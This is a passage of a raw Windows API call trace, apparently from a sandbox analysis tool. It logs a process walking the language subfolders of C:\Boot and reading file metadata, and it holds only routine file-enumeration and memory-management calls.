ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.378] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.378] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.378] GetLastError () returned 0x12 [0039.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.378] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.378] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0039.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.378] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.379] CreateFileW (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.379] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.379] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.379] NtClose (Handle=0x124) returned 0x0 [0039.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.379] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.379] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.379] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d48f0 [0039.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94efb0 [0039.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.380] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.380] GetLastError () returned 0x12 [0039.380] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.380] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.380] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.380] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.380] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.380] GetLastError () returned 0x12 [0039.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.380] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.380] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0039.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.380] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.381] CreateFileW (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.381] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.382] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.382] NtClose (Handle=0x15c) returned 0x0 [0039.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.382] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.382] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.382] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4910 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ef28 [0039.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.382] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4930 [0039.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94eea0 [0039.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.382] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0039.383] GetLastError () returned 0x12 [0039.383] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.383] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0039.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0039.383] GetLastError () returned 0x12 [0039.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.383] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.383] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0039.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.383] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.428] CreateFileW (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.428] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.428] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.428] NtClose (Handle=0x124) returned 0x0 [0039.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.428] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.428] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.428] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4950 [0039.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ee18 [0039.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94ed90 [0039.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8998) returned 1 [0039.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.429] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.429] GetLastError () returned 0x12 [0039.429] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.429] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.429] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.429] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.429] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.429] GetLastError () returned 0x12 